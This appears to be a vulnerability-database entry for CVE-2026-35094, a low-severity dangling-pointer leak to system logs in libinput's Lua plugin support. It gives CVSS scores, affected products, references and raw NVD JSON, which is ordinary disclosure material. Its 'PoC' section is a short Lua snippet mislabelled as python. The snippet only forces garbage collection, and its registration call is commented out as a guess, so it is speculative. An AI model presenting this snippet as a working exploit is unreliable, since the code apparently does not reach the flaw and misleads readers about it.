Security Vulnerability Report
中文
CVE-2026-35094 CVSS 3.3 LOW

CVE-2026-35094

Published: 2026-04-01 14:16:58
Last Modified: 2026-04-07 16:25:49

Description

A flaw was found in libinput. An attacker capable of deploying a Lua plugin file in specific system directories can exploit a dangling pointer vulnerability. This occurs when a garbage collection cleanup function is called, leaving a pointer that can then be printed to system logs. This could potentially expose sensitive data if the memory location is re-used, leading to information disclosure. For this exploit to work, Lua plugins must be enabled in libinput and loaded by the compositor.

CVSS Details

CVSS Score
3.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:freedesktop:libinput:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fedoraproject:fedora:43:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fedoraproject:fedora:44:*:*:*:*:*:*:* - VULNERABLE
libinput (具体受影响版本请参考官方补丁公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
-- PoC for CVE-2026-35094: libinput Information Disclosure -- This Lua plugin is designed to trigger garbage collection, -- potentially causing a dangling pointer to be printed to logs. function handle_event(event) -- Create a dummy object to occupy memory local data = "Sensitive_Info_" .. math.random(1000) -- Force garbage collection to trigger the cleanup function -- This may trigger the dangling pointer issue in libinput collectgarbage("collect") -- Return success to ensure the plugin continues running return true end -- Register the handler (syntax depends on libinput Lua API) -- libinput.set_event_handler(handle_event)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35094", "sourceIdentifier": "[email protected]", "published": "2026-04-01T14:16:57.637", "lastModified": "2026-04-07T16:25:48.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in libinput. An attacker capable of deploying a Lua plugin file in specific system directories can exploit a dangling pointer vulnerability. This occurs when a garbage collection cleanup function is called, leaving a pointer that can then be printed to system logs. This could potentially expose sensitive data if the memory location is re-used, leading to information disclosure. For this exploit to work, Lua plugins must be enabled in libinput and loaded by the compositor."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-825"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freedesktop:libinput:-:*:*:*:*:*:*:*", "matchCriteriaId": "1361BCB2-9424-4B4C-A7EC-2AA611F0EF0F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fedoraproject:fedora:43:*:*:*:*:*:*:*", "matchCriteriaId": "E1D1BBE5-0886-4D95-9862-16A4C316F70A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fedoraproject:fedora:44:*:*:*:*:*:*:*", "matchCriteriaId": "DD1E6B15-C7BF-47E1-8034-501385D7B7DD"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-35094", "source": "[email protected]", "tags": ["VDB Entry", "Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2453840", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://gitlab.freedesktop.org/libinput/libinput/-/work_items/1272", "source": "[email protected]", "tags": ["Broken Link"]}]}}